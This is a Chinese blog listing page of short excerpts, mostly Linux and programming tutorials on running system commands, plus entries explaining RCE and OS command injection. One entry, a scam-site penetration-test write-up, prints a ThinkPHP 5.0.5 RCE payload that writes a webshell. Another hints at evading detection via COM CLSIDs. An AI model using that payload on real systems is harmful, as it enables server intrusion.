• 2024-11-20虚拟机之linux系统命令
    1、df查看磁盘使用情况(1)dfFilesystem:代表该文件系统时哪个分区,所以列出的是设备名称。1K-blocks:说明下面的数字单位是1KB,可利用-h或-m来改变单位大小,也可以用-B来设置。Used:已经使用的空间大小。Available:剩余的空间大小。Use%:磁盘使用率。如果使用率在90%以上时,就需要注
  • 2024-10-19Linux系统命令3
    1、df查看磁盘使用情况Filesystem:代表该文件系统时哪个分区,所以列出的是设备名称。1K-blocks:说明下面的数字单位是1KB,可利用-h或-m来改变单位大小,也可以用-B来设置。Used:已经使用的空间大小。Available:剩余的空间大小。Use%:磁盘使用率。如果使用率在90%以上时,就需要注意了,避
  • 2024-05-30RCE漏洞
    一、RCE简介与危害RCE漏洞,远程代码执行和远程命令执行漏洞。在很多Web应用中,开发人员会使用一些函数(eval),这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。RCE漏洞是非常严重的安全漏洞,一
  • 2024-05-25Linux常用系统命令
    1、yum、apt操作、软件包列表、常用命令yumcheck-updata可更新软件列表;yuminstall<package_name>安装指定软件yumlist可安装软件清单;yumsearch<keyword_>查找软件yumcleanpackages:清除缓存目录下的软件包yumremove包名:卸载apt-getinstall/
  • 2024-05-01Linux系统命令-目录命令
    1.ls命令:显示目录下的内容基本格式[root@localhost~]#ls[选项][参数是文件名或目录名]常用选项-a:显示所有文件--color=when:支持颜色输出-d:显示目录信息,并非目录下的文件-h:易读化显示。文件的大小按照KB,MB为单位显示-i:显示文件的i节点号-l:显示文件的详细信息范例参
  • 2024-04-15执行系统命令
    依赖hutool工具类//定义要执行的shell命令Stringcommand=StrUtil.format("source/etc/profile;source~/.bash_profile;cd{};$MAVEN_HOME/bin/mvn--settings$MAVEN_HOME/conf/settings.xmlarchetype:generate-B"+"-DarchetypeGr
  • 2024-01-17知识汇总:查看linux服务器系统命令
    要查看Linux服务器的系统信息,你可以使用多种命令来获取不同类型的信息。以下是一些常用的命令和它们的用途:uname -显示基本的系统信息uname-a:显示所有的系统信息,包括内核名称、主机名、内核发行版本、内核版本、机器类型、处理器类型、硬件平台和操作系统。hostnamectl
  • 2024-01-05记一次某杀猪盘渗透测试
    最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。为thinkphp5.0.5随用RCE进行打入,成功写入webshell。s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_dec
  • 2024-01-02Linux系统命令和使用技巧
    1、处理特殊的文件名假设Linux系统中有一个文件名叫“-ee”,如果我们想对它进行操作,例如要删除它,按照一般的删除方法在命令行中输入rm-ee命令,界面会提示我们是“无效选项”(invalidoption),原来由于文件名的第一个字符为“-”,Linux把文件名当作选项了,我们可以使用“--”符号来解决这
  • 2023-12-21记一次 Go 调用系统命令出现的问题分析
    首先在程序中封装了下面一个函数用来执行系统命令://执行系统命令funcexecuteCommand(commandstring,output,outerrio.Writer)error{ cmd:=exec.Command("/bin/bash","-c",command) stdout,err:=cmd.StdoutPipe() iferr!=nil{ returnerr } deferstdo
  • 2023-11-29运维初级实践——Linux系统命令教程
    区块链运维工程师在Linux环境中常用的命令、快捷键,以及安装软件和文件管理的最佳实践。1.常用Linux命令1.1文件和目录操作ls:列出目录内容cd:更改目录mkdir:创建新目录rm:删除文件或目录cp:复制文件或目录mv:移动或重命名文件或目录#列出当前目录的内容ls
  • 2023-10-23OS命令注入
    原理以及成因  程序员使用脚本语言开发的过程中需要去调用一些外部应用。当应用调用外部应用时就会用到一些系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。 漏洞
  • 2023-08-07Java:Java程序通过执行系统命令调用Python脚本
    本文实现功能:Java程序调用Python脚本Python脚本importsysdefadd(x,y):returnx+yif__name__=="__main__":print(add(int(sys.argv[1]),int(sys.argv[2])))直接执行$pythonmath.py123Java程序调用Python脚本packageio.github.mouday.utils;importja
  • 2023-07-17subprocess Python执行系统命令最优选模块
    简介subprocess是Python中执行操作系统级别的命令的模块,所谓系级级别的命令就是如ls/etc/userifconfig等和操作系统有关的命令。subprocess创建子进程来执行相关命令,并连接它们的输入、输出和错误管道,获取它们的返回状态。subprocess来源Subprocess模块开发之前,标准
  • 2023-06-29常用命令使用(1)--常用系统命令
    《计算机网络》上机实验报告专业和班级 成绩 姓名彭xx学号11xxxxx32课程名称计算机网络实验名称常用命令使用(1)--常用系统命令实验目的和要求理解和掌握常用系统命令的概念和作用;初步掌握常用系统命令的基本操作;练习
  • 2023-06-18Python调用外部系统命令
    利用Python调用外部系统命令的方法可以提高编码效率。调用外部系统命令完成后可以通过获取命令执行返回结果码、命令执行的输出结果进行进一步的处理。本文主要描述Python常见的调用外部系统命令的方法,包括os.system()、os.popen()、subprocess.Popen()等。本文分析python调用外
  • 2023-06-17 重新启动和停止系统命令
      Linux中的启动和停止的命令与Windows不同,虽然Linux桌面环境中也有按钮可以进行关机和开机。                         1.系统重启和关机目标   系统的重新启动和停止也是目标。目标就是通过系统设置和服务管理进行分
  • 2023-06-02wsl提示系统命令找不到
    问题wsl命令在window11找不到,之前还用的好好的解决https://blog.csdn.net/caiji112/article/details/124916376x01打开storex02wsl->打开嗖嘎提示异常了x03经过查询网络要重置(使用代理)netshwinsockreset管理员身份重置网络,重启系统x04重启问题得到解决
  • 2023-05-29web基础漏洞-系统命令注入
    1、介绍应用程序有时需要调用一些执行系统命令的函数,如在php中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。2、windows支持的管道符|直
  • 2023-05-04Shell简单介绍
    是什么Shell是计算机操作系统中的一种命令行解释器,它是一个用户与操作系统内核之间的接口.Unix/Linux中,Shell是一种脚本语言;Windows中通常指命令行解释器(cmd.exePowerShell).Q:系统命令和shell语言指令有交集吗A:有交集。在Linux系统中,很多常用的命令都可以在Shell中使
  • 2023-04-30Win10系统命令行以管理员身份运行的几种方式
    在win10系统中运行许多命令需要使用管理员身份运行,如果直接按下win+R组合键呼出运行,键入cmd打开命令提示符输入命令执行的话会出现无法执行的现象。给大家分享下win10系统中几个以管理员身份运行的方法。方法一:1、在开始菜单上单击鼠标右键,在弹出的菜单中点击【命令提示符(
  • 2023-04-09.NET 通过组件CLSID执行系统命令
    .NET通过Type.GetTypeFromCLSID获取组件的CLSID,CLSID是一个唯一标识符,用于标识组件,如果遇到某些拦截的场景,可以使用GetTypeFromCLSID替代GetTypeFromProgID,这样做的好处传递的组件的方式从名称转成唯一标识符,例如ShellBrowserWindowAPI的CLSID值为C08AFD90-F2A1-11D1-8455-0
  • 2023-03-21使用shell并发执行系统命令
    一解决方案旧方案为挨个执行shell_exec,串行执行,虽然执行很快,奈何监听命令众多,redis连接有等待时间等,有的还需要执行多次取平均值,所以执行完已超过1min故,改为并发执行命
  • 2023-03-21pikachu-RCE
    RCE概述RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。远程系统命令执行一般出现这种漏洞,是因为应用系统从设计上需要给用
  • 2023-03-20Centos7系统命令自动补全方法
    Centos7的默认安装类型是最小安装,因此它缺少了自动补全命令参数的功能。而自动补全命令参数的功能是由Bash提供的,要使用这个功能,我们需要安装一个bash-completion包。sud